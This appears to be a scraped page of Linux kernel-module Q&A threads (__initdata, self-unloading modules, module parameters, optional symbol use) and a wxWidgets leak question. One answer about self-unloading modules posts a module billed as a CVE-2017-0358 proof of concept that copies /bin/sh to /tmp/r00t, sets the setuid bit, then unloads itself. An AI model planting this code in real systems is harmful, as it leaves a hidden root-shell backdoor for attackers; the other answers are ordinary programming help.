Module Programming in linux - linux

here is the simple module program code.
#include <linux/module.h> /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */
#include <linux/init.h> /* Needed for the macros */
static int hello3_data __initdata = 3;
static int __init hello_3_init(void)
{
printk(KERN_INFO "Hello, world %d\n", hello3_data);
return 0;
}
static void __exit hello_3_exit(void)
{
printk(KERN_INFO "Goodbye, world %d\n",hello3_data);
}
module_init(hello_3_init);
module_exit(hello_3_exit);
I've initialized a variable with __initdata macro and a function with __init. when I did insmod the module was inserted and i was able to see the log message(/var/log/messages). But, when I did rmmod it was unable to remove it, and it says Resource busy.
My question is does the `modules_init` function cleans the memory of `hello3_data`??
or it is done by `module_exit`??.
Someone please explain.

Please when declaring the varialble hello3_data you're using the __initdata modifier which specifies that the variable shall be used in only the __init function.
Try recompile your kernel module with options like make CONFIG_DEBUG_SECTION_MISMATCH=y and you shall see warnings like this:
WARNING: /home/pengyu/temp/yusen/test_mod.o(.exit.text+0x3): Section mismatch in reference from the function cleanup_module() to the variable .init.data:hello3_data
The function __exit cleanup_module() references
a variable __initdata hello3_data.
This is often seen when error handling in the exit function
uses functionality in the init path.
The fix is often to remove the __initdata annotation of
hello3_data so it may be used outside an init section.
You could simply remove __initdata and try again.
EDITED:
Here I'm trying to provide further explanations. The kernel module itself is in the format of ELF (Executable and Linkable Format) (with some kernel-module-specific sections). Feature of the .init and .fini sections is supported by the linkers and loaders including insmod.
In this case the attribute #define __initdata __section(.init.data) works like __attribute__((section(".init.data"))) which explicitly specifies which section the data/function shall be put in.
As a kernel module the section of .init is not guaranteed to be kept after module initialization, and anything inside that section is not supposed to be referenced outside the initialization function. See page 31 of Linux Device Drivers, Third Edition:
The _init token in the definition may look a little strange; it is a hint to the kernel that the given function is used only at initialization time. The module loader drops the initialization function after the module is loaded, making its memory available for other uses. There is a similar tag (_initdata)for data used only during initialization. Use of __init and __initdata is optional, but it is worth the trouble. Just be sure not to use them for any function (or data structure)you will be using after initialization completes

Related

How can a kernel module unload itself without generating errors in kernel log?

I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c. As far as I can see, there's no exported function which will call free_module from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn function which just schedules after preventing the current (invalid) task from being run again (or just running do_exit).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c, and make the necessary modifications to include/linux/module.h:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE) will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358#gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}

How to read a string from a sysfs attribute file a Linux kernel module?

Basically, I want to have a configuration file, e.g. "myconfigfile" that contains a string of characters, for example "abcdefg".
I want to read this string in as a value in my kernel module. That is, I want to have a char* in my code that gets the value "abcdefg" from that file. From what I understand, I should use sysfs. Here are my questions:
Do I just create the file and move it into /sys/module/path/to/my/module directory ?
If I have the file available, how exactly do I read the value? Say the file is called "myconfigfile". I read this documentation but frankly, I don't understand it.
Your actual problem is that you want to configure something in your module.
Reading a configuration file does not solve that problem, it just introduces another problem.
To configure something in your module, use a module parameter:
#include <linux/kernel.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sefu");
static char *my_param = "default";
module_param(my_param, charp, 0444);
MODULE_PARM_DESC(my_param, "my little configuration string");
int init_module(void)
{
printk(KERN_INFO "The parameter is: %s\n", my_param);
return 0;
}
void cleanup_module(void)
{
}
To set that value, load your module with something like
modprobe mymodule my_param=whatever
or put this line into some .conf file in /etc/modprobe.d/:
options mymodule my_param=whatever

How to call module_init macro?

I am writing a simple char device driver. The function which we pass to module_init() is called at the time of module installation.
When we insert the module using insmod command the function passes to module_init() is gets called.
Is there any other method to call this module_init() function.
If you are talking about using something else than insmod, then no: insmod is the only way I know to initialize your module.
Otherwise, this module_init thing is a macro and isn't really a function call (you cannot call a function from global scope in C). It expands to some predefined "module constructor" that calls your initializing function, depending on if you're compiling as a dynamic module or as an object built into the kernel. Its role is to avoid having to #ifdef a lot when developing a module and making the development process easier (see this).
So if, for some reason (but I discourage you doing this), you want to call your initializing function from your module code, then just call it directly. For example:
static void some_other_function(void) {
// ...
initialize();
// ...
}
static int initialize(void) {
// your initialization code
}
module_init(initialize);
Edit: removed __init following Eugene's comment.
However, I recommend only the module_init expansion calls your initialization function and that other common code be in a separate function:
static void some_other_function(void) {
// ...
something_that_might_get_called_afterwards_also();
// ...
}
static int __init initialize(void) {
// your initialization code (done only once)
something_that_might_get_called_afterwards_also();
// some other one-time code
}
module_init(initialize);

How to use exported symbols optionally only if they are present in an insmoded Linux Kernel module?

I am modifying a Linux Kernel to add some functionality to the Linux Virtual Server (LVS).
I developed a module (which I called net/netfilter/ipvs/ip_vs_utils.c) with some functions to be used when load-balancing. All the functions here are exported using EXPORT_SYMBOL().
This module, logically is not loaded all the time. My intention is to allow the user to decide if he want to use this additional functionality or not (loading or unloading the module).
My question is how could I invoke these functions OPTIONALLY (depending if the module is running or not) from a existing (and of course modified) module (net/netfilter/ipvs/ip_vs_core.c). Something like this:
if(ip_vs_utils_IsLoaded)
{
function1(arg1, arg2, arg3); // being function1 defined on ip_vs_utils.c
}
I think you need a trampoline always(or almost always) loaded into kernel.
In trampoline code, you need to such variables.
struct module *ip_vs_utils_mod;
EXPORT_SYMBOL(ip_vs_utils_mod);
/* function pointers */
ret_type (*ip_vs_utils_afunc_ptr)(func_arg_list); /* Add static if you put it in a header file! */
EXPORT_SYMBOL(ip_vs_utils_afunc_ptr); /* ******EXPORTED***** */
When the ip_vs_utils is loaded, you need to init all the variables, initialization code in ip_vs_utils.c:
ip_vs_utils_mod = THIS_MODULE;
/* init function pointers */
/* ip_vs_utils_afunc_impl is the real implementation
* of the function, it is *****NOT***** needed to export it
*/
ip_vs_utils_afunc_ptr = ip_vs_utils_afunc_impl;
And add the trampoline functions in trampoline code:
ret_type ip_vs_utils_afunc(func_arg_list)
{
ret_type ret = DEFAULT_RET;
if (try_module_get(ip_vs_utils_mod)) {
ret = (*ip_vs_utils_afunc_ptr)(func_arg_list);
module_put(ip_vs_utils_mod);
}
return ret;
}
try_module_get() is needed to protect the module from being suddenly unloaded while ip_vs_utils_afunc_ptr() is being invoked.
You can also use RCU instead to reduce the overhead of try_module_get()/module_put(). (But it is hard)
Or you can used some trampoline-hack like dynamic link in userspace(you may need to change a lot in the linux kernel)

Make a Simple wxWidgets Program Without Memory Leaks

I'm trying to make a basic wxWidgets program that doesn't leak any memory (I'm developing on Windows 7 and am using Visual Studio 2010 and trying to use CRT to check for leaks).
I started from the OpenGL sample and gradually worked it down. After adding CRT calls to the OnExit method of my wxApp object (the only place I ever even saw it mentioned), I realized that memory was being leaked everywhere.
I gradually worked it down more until I created this sample code, which makes CRT spit out a huge load of leaks:
#include <wx/glcanvas.h>
#include <wx/wxprec.h>
#ifndef WX_PRECOMP
#include <wx/wx.h>
#endif
#ifdef __WXMSW__
#include <wx/msw/msvcrt.h>
#endif
#if !defined(_INC_CRTDBG)// || !defined(_CRTDBG_MAP_ALLOC)
#error "Debug CRT functions have not been included!"
#endif
class App : public wxApp {
public:
bool OnInit(void);
int OnExit(void);
};
bool App::OnInit(void) {
if (!wxApp::OnInit()) return false;
return true;
}
int App::OnExit(void) {
return wxApp::OnExit();
}
int WINAPI WinMain(HINSTANCE h_instance, HINSTANCE h_prev_instance, wxCmdLineArgType cmd_line, int cmd_show) {
int leaks = _CrtDumpMemoryLeaks();
if (leaks) {
int i=0, j=6/i; //Put a breakpoint here or throw an exception
}
return EXIT_SUCCESS;
}
#pragma comment(lib,"wxbase29ud.lib")
#pragma comment(lib,"wxmsw29ud_gl.lib")
#pragma comment(lib,"wxmsw29ud_core.lib")
#pragma comment(lib,"wxpngd.lib")
#pragma comment(lib,"wxzlibd.lib")
#pragma comment(lib,"comctl32.lib")
#pragma comment(lib,"rpcrt4.lib")
Notice that the class App is not used anywhere. The function definitions outside the class are necessary to prevent it being optimized away. If the class App is not present, then no errors occur.
The questions are, why isn't this working? How can I make a leak free wxWidgets program? How should I use _CrtDumpMemoryLeaks()? Why aren't there resources about this--and if there are, where are they? The best I could find was this, which only suggested using CRT, but didn't actually say how. Help?
It is possible that are these are not real memory leaks. When you call _CrtDumpMemoryLeaks() it goes through the heap looking for objects that have not been freed and displays them as leaks. Since you are calling it before your application has ended then anything that has been allocated on the heap will show up as leaks.
I'm pretty sure that wxWidgets creates some global objects (for example, I know there are wxEmptyString, wxDefaultPosition and so forth and I daresay there are others that do actually perform some allocations) that will not be destroyed until after the end of your application. _CrtDumpMemoryLeaks() would need to be called after that point in order to not show false positives.
You can try to get the CRT to call _CrtDumpMemoryLeaks() automatically on program exit as explained on MSDN.
There is also a related question here that might help you.
Edit: I've tried this myself by adding the following code to the top of my App::OnInit() method and the only leaks I get shown are a 64 byte one, which matches my forced leak. So it doesn't look like all wx applications are leaky. However, I also tried it with your code and I do get leaks reported.
_CrtSetReportMode( _CRT_ERROR, _CRTDBG_MODE_FILE );
_CrtSetReportFile( _CRT_ERROR, _CRTDBG_FILE_STDERR );
int tmpDbgFlag = _CrtSetDbgFlag(_CRTDBG_REPORT_FLAG);
tmpDbgFlag |= _CRTDBG_LEAK_CHECK_DF;
_CrtSetDbgFlag(tmpDbgFlag);
// Force a leak
malloc(64);
Edit 2: You need to include the following line after your App class definition so that wxWidgets uses your App class as the application object (and provides it's own WinMain). I'm guessing that whetever it does in wxApp requires this line in order to clean itself up properly:
IMPLEMENT_APP(App)
Edit 3: I also found, in the wxWidgets page you linked to that the startup code will automatically call _CrtSetDbgFlag() for you in debug mode. So you get leak detection without having to add the code yourself. You can test this by allocating some memory and not freeing it.

Resources